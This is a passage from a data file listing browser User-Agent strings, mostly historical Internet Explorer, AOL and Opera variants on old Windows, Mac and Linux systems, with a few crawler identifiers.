1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Avant Browser)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322) (Compatible;  ;  ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.5)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT5)\nMozilla/4.0 (compatible; MSIE 5.5;)\nMozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 6.0 compatible; Asterias Crawler v4; +http://www.singingfish.com/help/spider.html; webmaster@singingfish.com); SpiderThread  Revision: 3.10\nMozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)\nMozilla/4.0 (compatible; MSIE 6.0;               )\nMozilla/4.0 (compatible; MSIE 6.0; ; Linux i686) Opera 7.50 [en]\nMozilla/4.0 (compatible; MSIE 6.0; ; Linux x86_64) Opera 7.50 [en]\nMozilla/4.0 (compatible; MSIE 6.0; ; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; ; SV1; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; ; Windows NT 5.1;SV1;Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 5.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 5.0; Windows 98; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 5.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 6.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows 98; SpamBlockerUtility 4.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows 98; Win 9x 4.90; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; Hotbar 4.1.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; Q312461; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; YComp 5.0.2.6; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; FunWebProducts; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; AOLBuild 4327.262; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; .NET CLR 1.1.4322; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; FunWebProducts; Advanced Searchbar 3.25; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; FunWebProducts; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.0; InfoPath.1; Seekmo 10.0.275.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; FunWebProducts; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Media Center PC 2.8; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 2.0.50215; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.430.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FreeprodTB; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; Hotbar 10.0.356.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; GTB5)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; FunWebProducts; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; iebar; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.2; WOW64; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.1; AOLBuild 4327.65535; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.1; AOLBuild 4327.65535; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705); UnAuth-State\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.1; AOLBuild 4334.27; Windows NT 5.1; SV1); UnAuth-State\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.1; AOLBuild 4334.34; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.1; AOLBuild 4334.34; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.1; AOLBuild 4334.5000; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.148; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.32; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.32; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.33; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.36; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.36; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.5; AOLBuild 4337.81; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; FunWebProducts; (R1 1.5); HbTools 4.7.7)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; InfoPath.1; HbTools 4.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; Windows NT 5.1; SV1; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.0; FreeprodTB)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; Advanced Searchbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.20-19.9.XFS1.3.0 i686) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.21 i686) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.21-99-default i686) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Linux 2.6.26-1-amd64) Lobo/0.98.3\nMozilla/4.0 (compatible; MSIE 6.0; Linux i686 ; en) Opera 9.70\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 2000) Opera 7.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 95) Opera 7.03  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.01  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.02  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.03  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.03  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows ME) Opera 7.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows ME) Opera 7.02  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows ME) Opera 7.03  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 4.0) Opera 7.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 4.0) Opera 7.02  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.0  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.01  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.03  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.03  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.03  [de]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.03  [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Skampy/0.9.x [en]\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows XP) Opera 7.0  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC Mac OS X; en) Opera 8.54\nMozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.00\nMozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.02\nMozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.10\nMozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.21\nMozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.24\nMozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.64\nMozilla/4.0 (compatible; MSIE 6.0; Macintosh; PPC Mac OS X; en) Opera 9.02\nMozilla/4.0 (compatible; MSIE 6.0; TargetSeek/1.0; +http://www.targetgroups.net/TargetSeek.html)\nMozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.97.1\nMozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.97.5\nMozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.98\nMozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.98.2\nMozilla/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 3.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 95) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 95; PalmSource; Blazer 3.0) 16; 160x160\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.11  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.11  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.20  [de]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.20  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.23  [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.50  [en]\nMozilla/4.0 